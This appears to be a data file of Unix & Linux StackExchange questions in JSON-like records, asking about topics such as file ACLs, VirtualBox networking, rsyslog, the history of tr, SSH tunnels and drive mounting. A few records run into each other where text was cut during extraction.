getfacl /var/www/wiki/data getfacl: Removing leading '/' from absolute path names # file: var/www/wiki/data # owner: stian # group: admin user::rwx group::r-x other::r-x default:user::rwx default:user:www-data:rwx default:group::r-x default:mask::rwx default:other::r-x Here's the command I used to set the permissions: setfacl -R -d -m u:www-data:7 /var/www/*"} {"_id": "16429", "title": "How can you change the GNU screen status line based on hostname?", "text": "I have a shared home directory that is automounted via NFS on all the UNIX servers I log in to. I would like to have a single .screenrc that (for example) puts the hostname in the hardstatus line in a different colour to indicate when I am logged on to production versus development; our hostnames are such that this can easily be done through the use of pattern matching. Is there any way of putting conditional statements into .screenrc? A quick grep of the man page doesn't seem to reveal anything obvious. EDIT: To clarify, I already have a custom hard status line; I want to change some of the colouring/fields displayed based on the hostname that screen is invoked on. I already have something like this for my PS1, however I would rather do this in the screen status line as I jump off from these hosts to routers/switches, which don't allow me to do any prompt colourisation. This way, I can have one window for production, and one for development, with the colour of the screen status line telling me which one I am on at a glance."} {"_id": "16424", "title": "How do I only copy files to a remote folder on another server that don't already exist in the folder... from the command line in linux?", "text": "I have two folders on two different servers. I want to sync files between A and B, however, I only want to copy files that don't already exist in folder B because these files are huge. I don't care about updating files. I simply wants a copy of each in folder B. How do I do this on Linux? (I suppose it'd be nice to know how to update files that have changed too)"} {"_id": "16420", "title": "Powerful hardware, slow Ubuntu", "text": "My computer should be able to run Ubuntu (11.04) without breaking a sweat: * CPU: 2.00Ghz Core i7-2630QM * RAM: 8Gb DDR3-1333 * HDD: 60Gb SSD * GPU: 1Gb AMD HD 6570M * Swap: 2.7Gb However, opening folders can take around a second, scrolling and opening new tabs in the browser is clunky, dragging windows is choppy - in short it's just plain slow. Was there something I could've messed up when installing and configuring Ubuntu? I have a feeling it's the graphics driver since, even under heavy usage, system monitor shows the swap never gets touched. Here's the driver I'm using: ![ATI/AMD proprietary FGLRX graphics driver](https://lh3.googleusercontent.com/-MunSMQwQhak/ThonDgOWE5I/AAAAAAAAAIQ/D-RqXehDjt8/15161036742.jpg)"} {"_id": "16421", "title": "Are there any issues using 2TB hard drives with 4k sectors", "text": "I'm thinking of purchasing a 2TB hard drive (probably a Seagate F4), but I've read reports of Linux not being compatible with 4k sectors on these drives. Do I have to do anything specific when I install this hardware? It will be installed as a secondary (non-boot) drive in an Ubuntu Server 10.04."} {"_id": "16422", "title": "Can't Install build-essential on CentOS", "text": "When I run the command: sudo apt-get install build-essential I get the following error message: Reading Package Lists... Done Building Dependency Tree... Done E: Couldn't find package build-essential"} {"_id": "107703", "title": "Why is my PC freezing while I'm copying a file to a pendrive?", "text": "I have a really strange situation here. My PC works fine, at least in most cases, but there's one thing that I can't deal with. When I try to copy a file from my pendrive, everything is ok -- I got 16-19M/s , it works pretty well. But when I try to copy something to the same pendrive, my PC freezes. The mouse pointer stops moving for a sec or two, then it moves a little bit and it stops again. When something is playing, for example, in Amarok, the sound acts like a machine gun. The speed jumps from 500K/s to 15M/s, average 8M/s. This occurs only when I'm copying something to a pendrive. When the process of copying is done, everything backs to normal. I tried everything -- other pendrive, a different USB port on front panel or those ports from back, I even changed the USB pins on motherboard (front panel), but no matter where I put my USB stick, it's always the same. I tried different filesystem -- `fat32`, `ext4`. I have no problem with the device on Windows, on my laptop. It has to be my PC or something in my system. I have no idea what to look for. I'm using Debian testing with standalone Openbox. My PC is kind of old -- Pentium D 3GHz, 1GiB of RAM, 1,5TB WD Green disk. If you have something that would help me to solve this issue, I'd be glad to hear that. I don't know what else info I should provide, but if you need something, just ask, I'll update this post as soon as possible. I tried to reproduce this problem on ubuntu 13.04 live cd. I mounted my encrypted partition + encrypted swap and connected my pendrive to a usb port. Next I tried to start some apps, and now I have ~820MiB in RAM and about 400MiB in SWAP. There's no problem with copying, no freezing at all, everything is as it should be. So, it looks like it's a fault of the system, but where exactly? What would cause such a weird behavior?"} {"_id": "128065", "title": "How to combine deb dependencies into main package?", "text": "I want to include deb-dependencies with main deb-package. Consider 1 deb package which have 19 deb dependencies, so I have to install all packages by `dpkg -i *.deb`. If all 19 dependencies can be **combined and created single (master) deb** then I can easily install package by single (1) deb file! How to do this?"} {"_id": "61940", "title": "Introspection of the interface of a shared library", "text": "I have a problem with a library I'm working with for the first time ( it's Boost.Python but my question is much more general than this case). As a consequence I need to check what is the interface of the library I have built: so as to check if I have at least built everything correctly. _(Python is complaining that he doesn't see my module, though I put the .so renammed in .pyd into its PYTHONPATH, so there's something wrong in my library)_ I need to know all the names of the exposed functions of my .so library, and their prototype if possible. Are there commands or package that I could install to achieve something like this ?"} {"_id": "61945", "title": "How do I write a login daemon?", "text": "There are many guides to the steps for correctly launching a daemon process, such as Stevens' chapter in _Advanced Programming in the UNIX Environment_. There is less agreement on what steps should be taken after daemonizing, going the other way: launching a user process from a root process. Historically, the details of calls in login or telnetd have differed widely by platform. An SSH server is a modern example of a login daemon. But, there are different interpretations of the correct steps in different implementations of SSH servers, which usually heavily dependent on per-platform steps. How should one write a modern daemon that provides logins, setting up the privileges and context to run a user's commands, perhaps based on remote input?"} {"_id": "39237", "title": "'mv' equivalent of drag and drop with replace?", "text": "In a GUI environment, a drag-and-drop with replace will replace files and entire directories (including contents) with whatever is being copied in. Is there a way to accomplish this same intuitive result with the 'mv' command?"} {"_id": "64537", "title": "Change of real time priority made no visible effect", "text": "we were trying to get the best result with software PWM on raspberry pi with Raspbian. We made a python script which starts PWM on a GPIO pin, and observed the results with the oscilloscope. It didn't do well, the delay wasn't acceptable. After that we set the realtime priority of our software PWM process to 99 and changed the scheduling to real time round robin, anf later to fifo (1865 is the process pid). sudo chrt -f -p 99 1865 sudo chrt -r -p 99 1865 It acted the same as before the priority change. **ALL** the other processes were run with nonrealtime priorities. However, there were around 3000 interrupts per second going on from the timer and USB. In this question the answer stated: > ... the vanilla kernel handles real time priorities, which gives them higher > priority than normal tasks, and those tasks will generally run until they > voluntarily yield the CPU Any ideas why the change of priority didn't have a visible efect? Do real time priorities influence what will happen with the process on interrupts?"} {"_id": "81674", "title": "What does `l` mean in an `ls` listing?", "text": "When I run `ls -adl .*` in one of my directories, I get a file that has this listing: lrwxrwxrwx 1 user group 43 Jul 3 16:25 .#filename.py -> person@computer.edu.4018:1372874769 The filename and URL-looking thing are highlighted in red. **What does the`l` mean in `lrwxrwxrwx`? What kind of file is this?**"} {"_id": "78295", "title": "CentOS no network interface after installation in VirtualBox", "text": "I have Ubuntu 12.10 on which i installed virtual box on which I setup centos 6.4 i386. On Ubuntu I have: 3.5.0-17-generic kernal running. On virtual box I install centos 6.4 and everything works fine, however when i boot into VM machine, there is only on loopback interface. Nothing else. I tried to manually add ifcfg-eth0 file but nothing happens. On VM settings i have added NAT and HostOnly interfaces but whenever I boot into centos there is just lo interface. What should I do?"} {"_id": "79269", "title": "Out-of-the-box CentOS in VirtualBox (NAT): Network is unreachable", "text": "My host is a freshly installed Ubuntu 2013.04, wireless network access worked out-of-the-box so I don't have any strange network configuration. In VirtualBox 4.2.10, with default (NAT) settings, I installed CentOS 6.4 minimal. Immediately after install, the first thing I did was `ping 173.194.38.98` (google) and I a told `connect: Network is unreachable`. I tried running `/etc/init.d/network start` as root, no joy. I downloaded a VM image and tried it: exact same problem. When I installed Ubuntu and Windows VMs, they are able to access the Internet without any problem. What's wrong with this one? On the VM: ![enter image description here](http://i.stack.imgur.com/IZk1l.png) On the host (values never change, except byte counts): eth0 Link encap:Ethernet HWaddr f0:de:f1:c0:ad:b3 UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) Interrupt:20 Memory:f3900000-f3920000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:32272 errors:0 dropped:0 overruns:0 frame:0 TX packets:32272 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:4263162 (4.2 MB) TX bytes:4263162 (4.2 MB) wlan0 Link encap:Ethernet HWaddr 60:d8:19:c9:42:59 inet addr:192.168.0.67 Bcast:192.168.0.255 Mask:255.255.255.0 inet6 addr: fe80::62d8:19ff:fec9:4259/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1221151 errors:0 dropped:0 overruns:0 frame:0 TX packets:845193 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:1438957835 (1.4 GB) TX bytes:133904229 (133.9 MB) _Note: Similar tothis question but switching from NAT to Bridge is not a solution I find acceptable._"} {"_id": "52188", "title": "Hyperthreading not detected by Linux", "text": "Problem solved! After speaking to Dell's support they realized that I had to remove the option `acpi=off` from my `/boot/grub/menu.1st` config file. Apparently ACPI support is essential for hyper-threading, but is turned off by default when installing CentOS 6.2. * * * I have a Dell server with two Intel Xeon E5645 cpus, each cpu has 6 cores, and each core is hyperthreaded (i.e. should be equivalent to two virtual cores). I installed CentOS 6.2 on this server and it seems to detect only 12 cores (although there should be 24 virtual cores altogether). When I look at `/proc/cpuinfo` I get for each cpu: cpu cores: 6 siblings: 6 Which seems to indicate that number of cores equals number of virtual cores, or hyperthreading not detected/enabled. When I run `dmidecode` I can see that HT flag is turned on and I do see the following, which seem to indicate that the BIOS is configured correctly for hyperthreading. Core Count: 6 Core Enabled: 6 Thread Count: 12 Is there some configuration that I am missing in order to make Linux detect all virtual cores?"} {"_id": "124942", "title": "rsyslog not logging", "text": "This is an odd issue. I was testing the chrony/ntp services on a RHEL7 VM and was resetting its time as well as the host's. Once I was satisfied with it I checked /var/log/messages and realized it hadn't been changed in a while. Now no matter what I do nothing is being logged except for when I restart the rsyslog service itself; when I do I get this: Apr 15 13:59:43 mymachine1 rsyslogd: [origin software=\"rsyslogd\" swVersion=\"7.4.2\" x-pid=\"2847\" x-info=\"http://www.rsyslog.com\"] exiting on signal 2. Apr 15 13:59:59 mymachine1 rsyslogd: [origin software=\"rsyslogd\" swVersion=\"7.4.2\" x-pid=\"2853\" x-info=\"http://www.rsyslog.com\"] start Apr 15 14:00:11 mymachine1 rsyslogd-3000: sd_journal_get_cursor() failed: 'Cannot assign requested address' Trying things like 'logger test' don't log, nothing else except rsyslog's own messages seems to. When I run rsyslog manually with -n -N1 as arguments I get: rsyslogd: version 7.4.2, config validation run (level 1), master config /etc/rsyslog.conf rsyslogd: End of config validation run. Bye It just seems like nothing can log through rsyslog for some reason. And a second identical VM on the same host (which didn't go through quite the same circle of repeatedly disabling ntp, having the date changed and rebooted multiple times) with the same rsyslog.conf file logs just fine. At this point the date/time is correct, chrony is enabled and running, and I've rebooted several times - after 30 seconds of kernel messages nothing else gets logged again. Thoughts?"} {"_id": "60091", "title": "Where is the documentation for what sda, sdb, dm-0, dm-1 mean", "text": "If I run iostat I got sda0, sda1, I sort of know that those are the \"hard disks\". then there is dm-0, dm-1? I wanted to check the documentation. I checked http://linux.die.net/man/1/iostat it's not mentioned at all. Also my mount command shows this: /dev/mapper/VolGroup-lv_root / ext4 usrjquota=quota.user,jqfmt=vfsv0 1 1 UUID=1450c2bf-d431-4621-9e8e-b0be57fd79b6 /boot ext4 defaults 1 2 /dev/mapper/VolGroup-lv_home /home ext4 usrjquota=quota.user,jqfmt=vfsv0 1 2 /dev/mapper/VolGroup-lv_swap swap swap defaults 0 0 tmpfs /dev/shm tmpfs defaults 0 0 devpts /dev/pts devpts gid=5,mode=620 0 0 sysfs /sys sysfs defaults 0 0 proc /proc proc defaults 0 0 /usr/tmpDSK /tmp ext3 defaults,noauto 0 0 /dev/sdb1 /home2 auto auto,defaults 0 0 /dev/sdc1 /home3 auto auto,defaults 0 0 /dev/sdd1 /home4 auto auto,defaults 0 0 It looks like dm-0, corresponde to one of /dev/mapper/VolGroup-lv. Not sure which one."} {"_id": "153432", "title": "User input in linux bash to check against a list and respond with result", "text": "I am trying to get bash to ask for a user input from read and to check against a file or list of files, then respond with the result from that chesk. This is as far as I have gotten as of yet... read -p \"what are we looking for?\" RESP if [ \"$RESP\" = sed -n ${some line from inside file} ./file | then do \"returned variable from file\" else echo \"You need more bash programming\" I know I am very new here but I cant figure it out, what ever the response is needs to be check against a file (what inside the file)- line by line then return an associated variable of that line say like \"RESP\"=line 3(or any line that matches) of ./this_file return \"var1\" of that line Do \"var1\" fi Is this the way to do this what would this code look like in simple bash I am so lost please help example: line1:\"please open google\" \"var1[open http:www.google.com] pass \"var1\" to bash"} {"_id": "64530", "title": "How to copy Big files on other Linux Server Independent of TTY", "text": "Actually i was trying to copy all the files in another director. Total size of the file is 188GB so its going to take a time. Im trying to copy for Linux server A to B using this command nohup scp Files-from-Server-A root@xxx.xxx.xxx.xxx:tmp & but as soon i close the terminal it stops copying the files but the process is still shown in process manager."} {"_id": "60098", "title": "do...while or do...until in POSIX shell script", "text": "There is the well known `while condition; do ...; done` loop, but is there a `do... while` style loop that guarantees at least one execution of the block?"} {"_id": "153439", "title": "NTFS drive not mounting in Debian", "text": "This drive has been working fine for a while, but I recall having had some slight trouble getting it mounted in the past. Anyway, it was disconnected from the machine for some time and when I reconnected it and tried to mount it again with `ntfs-3g`, I got the following error: Failed to mount '/dev/sdb1': Input/output error NTFS is either inconsistent, or there is a hardware fault, or it's a SoftRAID/FakeRAID hardware. In the first case run chkdsk /f on Windows then reboot into Windows twice. The usage of the /f parameter is very important! If the device is a SoftRAID/FakeRAID then first activate it and mount a different device under the /dev/mapper/ directory, (e.g. /dev/mapper/nvidia_eahaabcc1). Please see the 'dmraid' documentation for more details. So I plugged the drive into a Windows machine and ran `chkdsk`. While I don't have the output of `chkdsk` readily available, there were no obvious warning/error messages and I understood the output to have been indicative of a successful run. I could also mount, read, and write to the disk from within Windows Explorer. I dismounted the drive, then plugged it back into the Debian box. Attempting to mount it had the same effect as the first time. I plugged the disk into an OSX machine, which was able to read from (but obviously not write to) the drive. Plugging it back into the Windows machine seemed to indicate that all was well. After a few minutes however, the drive (mounted in Windows) became unresponsive and Windows Explorer gave me alternating error messages along the lines of \"invalid parameters\" and \"access denied\" (with no further detail!). So I'm a little bit lost at this point. I can still read from the disk from several machines and write to it from Windows, but Debian still won't mount it. Any suggestions?"} {"_id": "154428", "title": "Installing noip via sh script", "text": "I have this script: cd /usr/local/src/ wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz tar xf noip-duc-linux.tar.gz cd noip-2.1.9-1/ make install < completes only directories in bash", "text": "In a directory I type `vi` and then `tab` (twice), this gives me user$ vi CMakeFiles/ global/ libs/ whereas `ls` followed by 2 `tab`s gives me user$ ls ! core.log CMakeFiles/ global/ libs/ _jni/ (Note: **ls is aliased to `ls -Ah --color=auto'** , _jni is a symlink, and none of the files are hidden.) I think `vi` is not showing any files, but only directories during tab- completion. Why is this happening? How to make `vi` behave same way as `ls`? I put following line in ~/.vimrc after going through one of the posts on SE. But it doesn't seem to do anything in this case. set wildmode=longest,list,full set wildmenu Version of `vi`: VIM - Vi IMproved version 7.3.429 Version of `ls`: ls (GNU coreutils) 8.13"} {"_id": "63543", "title": "Can't use su or sudo on Arch Linux", "text": "Sudo returns this error: sudo: effective uid is not 0, is sudo installed setuid root? And su - returns this: su: Authentication failure The user I'm using is a member of the following groups: disk wheel locate network video audio optical floppy storage power users I can log in to root, but can't elevate my user privileges, and I'm sure the password I'm giving to both is correct."} {"_id": "152743", "title": "Filter Require Capital words from a file( not all capital words )", "text": "I want Output of this file only AVDDPLL1V8 AGNDPLL1V8 DVDDPLL1V1 DGNDPLL1V1 Please help me in this to find solution. Here is my input: 6.1.2 Power and Ground Pins The following table describes the power and ground pins for the PLL. Table 5: Power and Ground Pins Pin Name Description Analog power pin. This pin provides the power supply for the sensitive analog AVDDPLL1V8 blocks of the PLL. Analog ground pin. This pin provides the ground for the sensitive analog blocks AGNDPLL1V8 of the PLL. Digital power pin. This pin provides power supply for the digital circuits in the DVDDPLL1V1 PLL. DGNDPLL1V1 Digital ground pin. This pin provides ground for the digital circuits in the PLL."} {"_id": "107782", "title": "Is the historical Unix V5 tr command padding behavior of set2 different from what we consider today \"classic\" System V (1983-1988) behavior?", "text": "The `tr` command is almost 40 years old. It seemingly appeared in Unix for the first time in 1973 with Unix V4. The source for this is not available. Here is probably the second oldest available Unix implementation of the command from Unix V5 about 6 months later in June 1974: int dflag 0; int sflag 0; int cflag 0; int save 0; char code[256]; char squeez[256]; char vect[256]; struct string { int last, max, rep; char *p; } string1, string2; int inbuf[259]; main(argc,argv) char **argv; { int i, j; int c, d; char *compl; extern fout; string1.last = string2.last = 0; string1.max = string2.max = 0; string1.rep = string2.rep = 0; string1.p = string2.p = \"\"; if(--argc>0) { argv++; if(*argv[0]=='-'&&argv[0][4]!=0) { while(*++argv[0]) switch(*argv[0]) { case 'c': cflag++; continue; case 'd': dflag++; continue; case 's': sflag++; continue; } argc--; argv++; } } if(argc>0) string1.p = argv[0]; if(argc>1) string2.p = argv[1]; for(i=0; i<256; i++) code[i] = vect[i] = 0; if(cflag) { while(c = next(&string1)) vect[c&0377] = 1; j = 0; for(i=1; i<256; i++) if(vect[i]==0) vect[j++] = i; vect[j] = 0; compl = vect; } for(i=0; i<256; i++) squeez[i] = 0; for(;;){ if(cflag) c = *compl++; else c = next(&string1); if(c==0) break; d = next(&string2); if(d==0) d = c; code[c&0377] = d; squeez[d&0377] = 1; } while(d = next(&string2)) squeez[d&0377] = 1; squeez[0] = 1; for(i=0;i<256;i++) { if(code[i]==0) code[i] = i; else if(dflag) code[i] = 0; } inbuf[0] = 0; fout = dup(1); close(1); while((c=getc(inbuf)) >=0 ) { if(c == 0) continue; if(c = code[c&0377]&0377) if(!sflag || c!=save || !squeez[c&0377]) putchar(save = c); } flush(); } next(s) struct string *s; { int a, b, c, n; int base; if(--s->rep > 0) return(s->last); if(s->last < s->max) return(++s->last); if(*s->p=='[') { nextc(s); s->last = a = nextc(s); s->max = 0; switch(nextc(s)) { case '-': b = nextc(s); if(bp++!=']') goto error; s->max = b; return(a); case '*': base = (*s->p=='0')?8:10; n = 0; while((c = *s->p)>='0' && c<'0'+base) { n = base*n + c - '0'; s->p++; } if(*s->p++!=']') goto error; if(n==0) n = 1000; s->rep = n; return(a); default: error: write(1,\"Bad string\\n\",11); exit(); } } return(nextc(s)); } nextc(s) struct string *s; { int c, i, n; c = *s->p++; if(c=='\\\\') { i = n = 0; while(i<3 && (c = *s->p)>='0' && c<='7') { n = n*8 + c - '0'; i++; s->p++; } if(i>0) c = n; else c = *s->p++; } if(c==0) *--s->p = 0; return(c&0377); } With time this evolved and since the early days, there's been variations with how the command deals with sets of different length, and here my interest is with the case where set2 is shorter than set1. The _GNU Coreutils_ manual discusses the situation: > When tr is performing translation, set1 and set2 typically have the same > length. If set1 is shorter than set2, the extra characters at the end of > set2 are ignored. > > On the other hand, making set1 longer than set2 is not portable; POSIX says > that the result is undefined. In this situation, BSD tr pads set2 to the > length of set1 by repeating the last character of set2 as many times as > necessary. System V tr truncates set1 to the length of set2. > > By default, GNU tr handles this case like BSD tr. When the --truncate-set1 > (-t) option is given, GNU tr handles this case like the System V tr > >instead. This option is ignored for operations other than translation. > > Acting like System V tr in this case breaks the relatively common BSD idiom: > > > tr -cs A-Za-z0-9 '\\012' > > > because it converts only zero bytes (the first element in the complement of > set1), rather than all non-alphanumerics, to newlines. There is also such a discussion in _The Open GroupBase Specifications Issue 7 IEEE Std 1003.1_, 2013 Edition: > When string2 is shorter than string1, a difference results between > historical System V and BSD systems. A BSD system pads string2 with the last > character found in string2. Thus, it is possible to do the following: > > tr 0123456789 d > > which would translate all digits to the letter 'd'. Since this area is > specifically unspecified in this volume of POSIX.1-2008, both the BSD and > System V behaviors are allowed, but a conforming application cannot rely on > the BSD behavior. It would have to code the example in the following way: > > tr 0123456789 '[d*]' Now, if you read the man pages for the tr command in V4 and V5, you see the following reference in both: If string2 is short, it is padded with corresponding characters from string1. But that reference is omitted in the V6 manual and later early versions of Unix yet the V6 implementation of the command is line for line identical to V5? So you have a difference in the manuals but not in the code? Also, this implementation seems different from what is considered \"classic BSD or System V\" behavior i.e. pad from adding from set2 elements or truncate to length of set1. So is the V4-V5 implementation different from the System V milestone Unix and what is the rationale for that different implementation and ultimately why was it discarded down the road? How can I find out more information about such an early design of the command?"} {"_id": "53270", "title": "What units of time does \"top\" use?", "text": "If I issue the \"top\" command and receive results such as: PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 00001 bob 25 0 77380 1212 1200 R 95.8 0.0 89122:13 fee 00002 bob 25 0 77380 1196 1184 R 95.4 0.0 88954:14 fi 00003 sam 18 0 427m 16m 6308 R 30.0 0.1 54:46.43 fo 00004 sam 18 0 427m 16m 6308 R 26.5 0.1 52:55.33 fum **Question:** What are the units in the \"TIME+\" column? **What I have tried:** (please suggest a better strategy for searching documentation ...) * `man top | grep -C 4 time` or * `man top | grep ` when I substitute `minute`, `hour`, `day`, or `HH` for `X` ..."} {"_id": "113723", "title": "Multiple SSH tunnel through raspberry pi?", "text": "In my home network I have a PC, raspberry pi, macbook and a few other devices which I want to access away from home. As it stands, I have setup VNC server on my PC along with remote desktop and have changed the default ports. These ports are open on my router and redirect to the PC so that I can access them via dynamic dns. However I was wondering if it was possible to close those open ports on the router, and instead leave only port 22 on the raspberry pi so I can use an SSH tunnel through the pi, to the PC and run VNC through that? If so how would the command prompt look? I understand vaguely how SSH tunnels work and can use them applying to 1 remote host, i.e: ssh -L 22222:localhost:5900 user@pi then running `localhost:22222` in my vnc viewer will let me connect to the pi. Reading up on the subject suggests I could do something like `ssh -L 22222:internal_pc_ip:5900 user@pi` and run `localhost:22222` like before? Can I do this?"} {"_id": "53276", "title": "Can't setup netcfg service in arch linux", "text": "I already add this service to startup with `systemctl enable netcfg`, here's contents of `/etc/conf.d/network`, NETWORKS=(eth0 eth1) WIRED_INTERFACE=\"eth0\" WIRELESS_INTERFACE=\"wlan0\" AUTO_PROFILES=(eth0 eth1) And contents of netcfg.service: [root@localhost ~]# cat /etc/systemd/system/multi-user.target.wants/netcfg.service [Unit] Description=Netcfg multi-profile daemon Before=network.target Wants=network.target [Service] Type=oneshot RemainAfterExit=yes ExecStart=/usr/bin/netcfg-daemon start ExecStop=/usr/bin/netcfg-daemon stop KillMode=none [Install] WantedBy=multi-user.target journalctl logs of netcfg: Oct 29 XXXXXX localhost netcfg-daemon[182]: No recorded netcfg state to restore Oct 29 XXXXXX localhost systemd[1]: netcfg.service: main process exited, code=exited, status=1/FAILURE Oct 29 XXXXXX localhost systemd[1]: Failed to start Netcfg multi-profile daemon. Oct 29 XXXXXX localhost systemd[1]: Unit netcfg.service entered failed state It doesn't work (works randomly?), the output says `netcfg` failed, but invoke it manually works, why? ![enter image description here](http://i.stack.imgur.com/NPAKZ.png)"} {"_id": "107786", "title": "Persistent (casper-rw) Dropbox keeps prompting to reconnect", "text": "I use Linux Mint as my main operating system, but I run it off a persistent casper-rw partition on a flash drive. (I don't want to install it to the disk because my laptop screen is broken, and if something went wrong I'd be hopeless to repair it because I can only see the screen after the OS loads. It's tricky enough to boot as it is, and I can't see what I'm doing in BIOS.) The setup works like a charm, with one hiccup: my Dropbox installation (downloaded from the website) prompts to reconnect my account at login. The prompts are: * Do you already have a Dropbox account? ( _Yes_ ) * Enter your username and password, and pick a name for this computer. ( _I always pick \"casper-rw\"_ ) * It looks like you've already set up Dropbox on this computer. Would you like to use the same settings? ( _Yes_ ) * You're done! ( _Finish_ ) Dropbox then starts up and works properly. It recognizes the existing `~/Dropbox` folder and syncing works fine. This is pretty annoying, especially considering that I get confirmation emails every time I do this, and my Dropbox account currently shows about a dozen copies of the same machine \"linked\" to my account. I've never had this issue on Mint on an actual install, though it may be worth noting that the last full Mint install I used was Mint 15, and I'm using Mint 16 on this LiveCD. Is there any way I can get Dropbox to use my existing settings without a prompt? * * * Linux Mint 16 Cinnamon 64-bit. HP Elitebook 8440p. SanDisk Cruzer 16 GB flash drive with two 8 GB partitions, FAT32 `boot` and ext2 `casper-rw`."} {"_id": "113726", "title": "Using the same mbox file for multiple accounts", "text": "Is it possible to use the same mbox inbox file (retrieved with getmail) to load mails from two different email accounts without causing any conflicts?"} {"_id": "53275", "title": "Fetch values from plist file on Linux", "text": "I have bash script which was written for OS X and now ported to Linux. I don't have access to the Linux box. The bash script would read values from plist files using the `defaults read` and `PlistBuddy` command available on OS X. Since the Linux machine doesn't have these commands, I'm looking for workarounds. Is there library/script (Perl preferably) that helps user fetch values from plist files for a given key on a Linux machine? I tried using `sed`/`awk`, but the output isn't reliable. I've come across scripts like `plutil.pl` that convert a plist file to other formats. I have installed a Virtual machine running Ubuntu on my Mac so that I can test my changes before deploying to the actual Linux box."} {"_id": "53158", "title": "Changing compression in memory", "text": "I have some large files that I need to change the compression type of for input to a program--I need to unrar them and then gzip (or bzip2) them. However, they're highly compressed files and I don't have the disk space to unrar them fully then gzip them. Is there any way to pipe the output of decompression via unrar to gzip or some other compression without saving the entire intermediate result to disk?"} {"_id": "49249", "title": "Why does grep not work with redirection?", "text": "Using the `top` command with redirection works fine: top > top.log Now I want to use grep to filter a certain line: top | grep \"my_program\" > top.log But the log file will remain empty. But grep delivers an output when using top | grep \"my_program\" Where `my_program` has to be replaced by a running program to see some output. Why does my approach not work ? And how can I fix it ?"} {"_id": "21314", "title": "start mysql server at boot for debian", "text": "I am using Debian Etch and I have following this and tried to write a script like this to auto start mysql server at boot: #! /bin/sh # /etc/init.d/blah # # Some things that run always sudo /etc/init.d/mysql start I used `update-rc.d` also, but mysql server don't start at boot, why?"} {"_id": "21315", "title": "X -config Leaves a Blank Screen", "text": "In Slackware, when I use the command \"Xorg -configure\" to setup the X server, I get the following: (EE) Failed to load module \"vmwgfx\" (module does not exist, 0). (EE) vmware: Please ignore the above warnings about not being able to load module/driver vmwgfx (???) (EE) vmware: unexpected failure while loading the \"vmlegacy\" driver. Giving up. (EE) LoadModule: Module xgi does not have a xgi ModuleData data object. (EE) Failed to load module \"xgi\" (invalid module, 0) (++) Using config file: \"/root/xorg.conf.new\" (==) Using system config directory \"/usr/share/X11/xorg.conf.d\". Because of this, when I test the Xserver, all I get is a blank screen. What can I do to fix this? I'm running a Gateway NV57H laptop with an intel graphics card. **update** Problem fixed. While I wasn't able to test the X server from the commandline, I was able to make my distro _restart_ into the x server. This problem has now been solved."} {"_id": "37922", "title": "How to prevent the auto creation of the \"Desktop\" folder?", "text": "> **Possible Duplicate:** > Which application should I blame for compulsively creating a directory > again and again? When I upload files via Firefox, the `Open File` dialog appears and the `Desktop` folder is automatically created. I am using Arch Linux with Xmonad and quite frankly I don't need a `Desktop` folder inside my `home` folder. How do I stop this from happening in the future (i.e. disable the auto creation of the `Desktop` folder)?"} {"_id": "21310", "title": "Yum Cannot Retrieve Repository CentOS 6", "text": "I just installed CentOS 6. I tried running yum update and was having trouble getting that to work, so I tried yum clean all and now my situation seems even worse than before. Based upon what I pasted below, can someone please help me fix my yum repository? Thanks. [root@zedo-pc 1234]# yum update Loaded plugins: fastestmirror, refresh-packagekit Loading mirror speeds from cached hostfile * base: mirror.7x24web.net * extras: mirror.linux.duke.edu * updates: mirror.lug.udel.edu Error: no such table: packages [root@zedo-pc 1234]# yum clean all Loaded plugins: fastestmirror, refresh-packagekit Cleaning up Everything Cleaning up list of fastest mirrors [root@zedo-pc 1234]# yum update Loaded plugins: fastestmirror, refresh-packagekit Determining fastest mirrors * base: mirror.lug.udel.edu * extras: mirror.symnds.com * updates: mirror.rackspace.com Error: Cannot retrieve repository metadata (repomd.xml) for repository: InstallMedia. Please verify its path and try again"} {"_id": "21312", "title": "Start a service on HPUX at boot", "text": "I'm trying to start a service on `HPUX 11.31` at boot time. I generated the appropriate symlinks, but the system is not starting it up. If I run the script once the system is up, everything works as expected (but I need the service to come up at boot time by itself). $ ls -l /sbin/init.d/weblogic -rwxr-xr-x 1 oracle oracle 3066 Sep 23 13:59 /sbin/init.d/weblogic $ ls -l /sbin/rc?.d/*weblogic lrwxr-xr-x 1 root sys 21 Sep 23 13:38 /sbin/rc2.d/S998weblogic -> /sbin/init.d/weblogic lrwxr-xr-x 1 root sys 21 Sep 23 13:38 /sbin/rc3.d/S998weblogic -> /sbin/init.d/weblogic lrwxr-xr-x 1 root sys 21 Sep 23 13:38 /sbin/rc4.d/S998weblogic -> /sbin/init.d/weblogic"} {"_id": "21313", "title": "Open running KVM in separate session", "text": "I have a KVM session running on my host. If I login as someone else on my host machine, is it possible to access that running KVM session (not through the network)? I am not using the virtual manager either - I started the machine with the `kvm` command."} {"_id": "56976", "title": "BackTrack USB Wireless adapter drivers issue", "text": "I purchased USB Wireless adapter which runs smoothly on Windows and Ubuntu, but in BackTrack it showing me Bad password issue. From my reading I guess it's driver issue which BackTrack Kernel don't have drivers for RTL8191SU (my) Adapter. The Realtek site have drivers for kernels 2.6-2.9. Even thought BackTrack 5R3 comes with 3.2.6, I tried to compile drivers which failed for me with **make** errors. Additionally I cant get monitor mode in aircrack suite. Any possible solutions or instructions?"} {"_id": "22959", "title": "How do I copy and paste text that's in a weird window (pictured here)?", "text": "![enter image description here](http://i.stack.imgur.com/wgZgD.png) The program is called ncview. I can drag and highlight the text inside, but not even Ctrl-C allows the text to be copied for pasting. Current distribution is a Debian distribution."} {"_id": "20577", "title": "How can I prepend a tag to the beginning of several files?", "text": "I need to add PHP tags surrounding a file. It's easy to append them using find . -exec echo \"?>\" >> '{}' \\; but how can I _prepend_ the tag ` **Possible Duplicate:** > How can I prepend a tag to the beginning of several files? How do I insert text at the beginning of a file via terminal?"} {"_id": "56972", "title": "Is there a way of color-highlighting paired brackets in shell (bash)?", "text": 